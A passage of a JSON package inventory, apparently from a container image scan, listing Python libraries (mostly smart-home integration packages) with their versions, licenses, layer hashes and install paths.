"usr/local/lib/python3.14/site-packages/pyspcwebgw-0.7.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyspeex_noise", "Identifier": { "PURL": "pkg:pypi/pyspeex-noise@1.0.2", "UID": "17dfc390251e4204" }, "Version": "1.0.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyspeex_noise-1.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pysqueezebox", "Identifier": { "PURL": "pkg:pypi/pysqueezebox@0.14.0", "UID": "8d9a7470b9b9f6fa" }, "Version": "0.14.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pysqueezebox-0.14.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pystiebeleltron", "Identifier": { "PURL": "pkg:pypi/pystiebeleltron@0.2.5", "UID": "1fe58dcd7c1b3f50" }, "Version": "0.2.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pystiebeleltron-0.2.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pysuezV2", "Identifier": { "PURL": "pkg:pypi/pysuezv2@2.0.7", "UID": "5191879adb59aba2" }, "Version": "2.0.7", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pysuezv2-2.0.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyswitchbee", "Identifier": { "PURL": "pkg:pypi/pyswitchbee@1.8.3", "UID": "8db04cca846e6982" }, "Version": "1.8.3", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyswitchbee-1.8.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pytautulli", "Identifier": { "PURL": "pkg:pypi/pytautulli@23.1.1", "UID": "1a1c0c0cd0e6f0bd" }, "Version": "23.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pytautulli-23.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyteleinfo", "Identifier": { "PURL": "pkg:pypi/pyteleinfo@0.4.0", "UID": "496d2df5e6ad275e" }, "Version": "0.4.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyteleinfo-0.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pytest", "Identifier": { "PURL": "pkg:pypi/pytest@9.1.1", "UID": "c797024c2c3caf4e" }, "Version": "9.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pytest-9.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pytest-rerunfailures", "Identifier": { "PURL": "pkg:pypi/pytest-rerunfailures@16.0.1", "UID": "4f904d75d0caf3af" }, "Version": "16.0.1", "Licenses": [ "MPL-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pytest_rerunfailures-16.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pythinkingcleaner", "Identifier": { "PURL": "pkg:pypi/pythinkingcleaner@0.0.3", "UID": "119489de842651de" }, "Version": "0.0.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pythinkingcleaner-0.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-MotionMount", "Identifier": { "PURL": "pkg:pypi/python-motionmount@2.3.0", "UID": "a6b16c80c728f4ca" }, "Version": "2.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_MotionMount-2.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-aidot", "Identifier": { "PURL": "pkg:pypi/python-aidot@0.3.53", "UID": "22fd881b5ab44048" }, "Version": "0.3.53", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_aidot-0.3.53.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-awair", "Identifier": { "PURL": "pkg:pypi/python-awair@0.2.5", "UID": "c9785213f0131ebf" }, "Version": "0.2.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_awair-0.2.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-backoff", "Identifier": { "PURL": "pkg:pypi/python-backoff@2.3.1", "UID": "bffaaf71853565f0" }, "Version": "2.3.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_backoff-2.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-blockchain-api", "Identifier": { "PURL": "pkg:pypi/python-blockchain-api@0.0.2", "UID": "a11be157614554f3" }, "Version": "0.0.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_blockchain_api-0.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-bsblan", "Identifier": { "PURL": "pkg:pypi/python-bsblan@6.1.6", "UID": "3682c7d93fc77ce3" }, "Version": "6.1.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_bsblan-6.1.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-citybikes", "Identifier": { "PURL": "pkg:pypi/python-citybikes@0.3.3", "UID": "73d7da3781cebf81" }, "Version": "0.3.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_citybikes-0.3.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-dateutil", "Identifier": { "PURL": "pkg:pypi/python-dateutil@2.9.0.post0", "UID": "ae5aeef9044d24c2" }, "Version": "2.9.0.post0", "Licenses": [ "BSD-3-Clause", "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_dateutil-2.9.0.post0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-decouple", "Identifier": { "PURL": "pkg:pypi/python-decouple@3.8", "UID": "3e2c2e0c381cfb3c" }, "Version": "3.8", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_decouple-3.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-didl-lite", "Identifier": { "PURL": "pkg:pypi/python-didl-lite@1.5.0", "UID": "15f38a124513ecc5" }, "Version": "1.5.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_didl_lite-1.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-digitalocean", "Identifier": { "PURL": "pkg:pypi/python-digitalocean@1.13.2", "UID": "f3023b26a357a98" }, "Version": "1.13.2", "Licenses": [ "LGPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_digitalocean-1.13.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-discovery", "Identifier": { "PURL": "pkg:pypi/python-discovery@1.4.4", "UID": "3bb9b0c07fb1bc20" }, "Version": "1.4.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_discovery-1.4.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-dotenv", "Identifier": { "PURL": "pkg:pypi/python-dotenv@1.2.2", "UID": "d295bd1d0769ac31" }, "Version": "1.2.2", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_dotenv-1.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-dropbox-api", "Identifier": { "PURL": "pkg:pypi/python-dropbox-api@0.1.4", "UID": "e53cba168bdd7c96" }, "Version": "0.1.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_dropbox_api-0.1.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-duco-connectivity", "Identifier": { "PURL": "pkg:pypi/python-duco-connectivity@0.7.1", "UID": "4eabb2064c15895d" }, "Version": "0.7.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_duco_connectivity-0.7.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-ecobee-api", "Identifier": { "PURL": "pkg:pypi/python-ecobee-api@0.4.1", "UID": "8b6a405e99ece780" }, "Version": "0.4.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_ecobee_api-0.4.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-engineio", "Identifier": { "PURL": "pkg:pypi/python-engineio@4.13.3", "UID": "ac1e8c0244ce3fc0" }, "Version": "4.13.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_engineio-4.13.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-engineio-v3", "Identifier": { "PURL": "pkg:pypi/python-engineio-v3@3.14.2", "UID": "f599e4cd87aad31d" }, "Version": "3.14.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_engineio_v3-3.14.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-etherscan-api", "Identifier": { "PURL": "pkg:pypi/python-etherscan-api@0.0.3", "UID": "78aaa0a19a9a074a" }, "Version": "0.0.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_etherscan_api-0.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-family-hub-local", "Identifier": { "PURL": "pkg:pypi/python-family-hub-local@0.0.2", "UID": "2a18c4df97e60a7b" }, "Version": "0.0.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_family_hub_local-0.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-fullykiosk", "Identifier": { "PURL": "pkg:pypi/python-fullykiosk@0.0.15", "UID": "65079e8ce3dd5feb" }, "Version": "0.0.15", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_fullykiosk-0.0.15.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-gc100", "Identifier": { "PURL": "pkg:pypi/python-gc100@1.0.3a0", "UID": "9e6bcc3cf6d97c7f" }, "Version": "1.0.3a0", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_gc100-1.0.3a0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-gitlab", "Identifier": { "PURL": "pkg:pypi/python-gitlab@1.6.0", "UID": "f0bdce0b83ae969" }, "Version": "1.6.0", "Licenses": [ "LGPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_gitlab-1.6.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-google-drive-api", "Identifier": { "PURL": "pkg:pypi/python-google-drive-api@0.1.0", "UID": "baf6b55bd484b875" }, "Version": "0.1.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_google_drive_api-0.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-google-weather-api", "Identifier": { "PURL": "pkg:pypi/python-google-weather-api@0.0.6", "UID": "7cc808fd73d2a0f4" }, "Version": "0.0.6", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_google_weather_api-0.0.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-homeassistant-analytics", "Identifier": { "PURL": "pkg:pypi/python-homeassistant-analytics@0.9.0", "UID": "373d487655473a04" }, "Version": "0.9.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_homeassistant_analytics-0.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-homewizard-energy", "Identifier": { "PURL": "pkg:pypi/python-homewizard-energy@10.1.0", "UID": "1a58169b0bb0f9d6" }, "Version": "10.1.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_homewizard_energy-10.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-hpilo", "Identifier": { "PURL": "pkg:pypi/python-hpilo@4.4.3", "UID": "d2b83e422f0957bc" }, "Version": "4.4.3", "Licenses": [ "GPL-3.0-or-later", "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_hpilo-4.4.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-http-client", "Identifier": { "PURL": "pkg:pypi/python-http-client@3.3.7", "UID": "db2c7db415fe9aca" }, "Version": "3.3.7", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_http_client-3.3.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-izone", "Identifier": { "PURL": "pkg:pypi/python-izone@1.2.10", "UID": "a9d25406c779342d" }, "Version": "1.2.10", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_izone-1.2.10.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-join-api", "Identifier": { "PURL": "pkg:pypi/python-join-api@0.1.1", "UID": "65944f6ea4169e67" }, "Version": "0.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_join_api-0.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-jose", "Identifier": { "PURL": "pkg:pypi/python-jose@3.5.0", "UID": "de5836534c8f59c5" }, "Version": "3.5.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_jose-3.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-kasa", "Identifier": { "PURL": "pkg:pypi/python-kasa@0.10.2", "UID": "e0cc80e7ef84934f" }, "Version": "0.10.2", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_kasa-0.10.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-magic", "Identifier": { "PURL": "pkg:pypi/python-magic@0.4.27", "UID": "7ea97bddcf0c4810" }, "Version": "0.4.27", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_magic-0.4.27.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-melcloud", "Identifier": { "PURL": "pkg:pypi/python-melcloud@0.1.3", "UID": "f2171372e5efa521" }, "Version": "0.1.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_melcloud-0.1.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-miio", "Identifier": { "PURL": "pkg:pypi/python-miio@0.5.12", "UID": "4ddb3395c1c906db" }, "Version": "0.5.12", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_miio-0.5.12.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-mpd2", "Identifier": { "PURL": "pkg:pypi/python-mpd2@3.1.1", "UID": "63eb9a587cedaa73" }, "Version": "3.1.1", "Licenses": [ "LGPL-2.1-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_mpd2-3.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-multipart", "Identifier": { "PURL": "pkg:pypi/python-multipart@0.0.32", "UID": "43b78dbbacf93365" }, "Version": "0.0.32", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_multipart-0.0.32.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-mystrom", "Identifier": { "PURL": "pkg:pypi/python-mystrom@2.5.0", "UID": "f317f7cb2855332b" }, "Version": "2.5.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_mystrom-2.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-otbr-api", "Identifier": { "PURL": "pkg:pypi/python-otbr-api@2.10.0", "UID": "f83e8664c42e8fed" }, "Version": "2.10.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_otbr_api-2.10.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-picnic-api2", "Identifier": { "PURL": "pkg:pypi/python-picnic-api2@1.3.4", "UID": "edb621ce15085502" }, "Version": "1.3.4", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_picnic_api2-1.3.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-pooldose", "Identifier": { "PURL": "pkg:pypi/python-pooldose@0.9.6", "UID": "4062daf09b4513b7" }, "Version": "0.9.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_pooldose-0.9.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-qube-heatpump", "Identifier": { "PURL": "pkg:pypi/python-qube-heatpump@1.11.0", "UID": "f3691ac16a02a39a" }, "Version": "1.11.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_qube_heatpump-1.11.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-rabbitair", "Identifier": { "PURL": "pkg:pypi/python-rabbitair@0.0.8", "UID": "b586c7d3056cb152" }, "Version": "0.0.8", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_rabbitair-0.0.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-ripple-api", "Identifier": { "PURL": "pkg:pypi/python-ripple-api@0.0.3", "UID": "80638c36a75a13a1" }, "Version": "0.0.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_ripple_api-0.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-roborock", "Identifier": { "PURL": "pkg:pypi/python-roborock@5.25.0", "UID": "22f255cbdcaeb287" }, "Version": "5.25.0", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_roborock-5.25.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-slugify", "Identifier": { "PURL": "pkg:pypi/python-slugify@8.0.4", "UID": "729619b6748e1744" }, "Version": "8.0.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_slugify-8.0.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-smarttub", "Identifier": { "PURL": "pkg:pypi/python-smarttub@0.0.47", "UID": "a6dd7bd73d37ac8a" }, "Version": "0.0.47", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_smarttub-0.0.47.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-sn2", "Identifier": { "PURL": "pkg:pypi/python-sn2@0.4.0", "UID": "908752b2537389b5" }, "Version": "0.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_sn2-0.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-snoo", "Identifier": { "PURL": "pkg:pypi/python-snoo@0.8.3", "UID": "32dd475a2fdb65eb" }, "Version": "0.8.3", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_snoo-0.8.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-socketio", "Identifier": { "PURL": "pkg:pypi/python-socketio@5.16.3", "UID": "b1bb69c63f85ee6a" }, "Version": "5.16.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_socketio-5.16.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-socketio-v4", "Identifier": { "PURL": "pkg:pypi/python-socketio-v4@4.6.1", "UID": "7b4425cc6798d151" }, "Version": "4.6.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_socketio_v4-4.6.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-socks", "Identifier": { "PURL": "pkg:pypi/python-socks@2.8.2", "UID": "702c2ad76774cc58" }, "Version": "2.8.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_socks-2.8.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-songpal", "Identifier": { "PURL": "pkg:pypi/python-songpal@0.16.2", "UID": "33c34dc2798a7da9" }, "Version": "0.16.2", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_songpal-0.16.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-swisscom-internet-box", "Identifier": { "PURL": "pkg:pypi/python-swisscom-internet-box@0.1.1", "UID": "a5d17ed9c5dab135" }, "Version": "0.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_swisscom_internet_box-0.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-tado", "Identifier": { "PURL": "pkg:pypi/python-tado@0.18.16", "UID": "dbac2e3eeded92f7" }, "Version": "0.18.16", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_tado-0.18.16.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-technove", "Identifier": { "PURL": "pkg:pypi/python-technove@2.1.1", "UID": "d3784feec1f6b80c" }, "Version": "2.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_technove-2.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-telegram-bot", "Identifier": { "PURL": "pkg:pypi/python-telegram-bot@22.7", "UID": "d6db6d3333d3e508" }, "Version": "22.7", "Licenses": [ "LGPL-3.0-only" ], "Layer": { "DiffID": 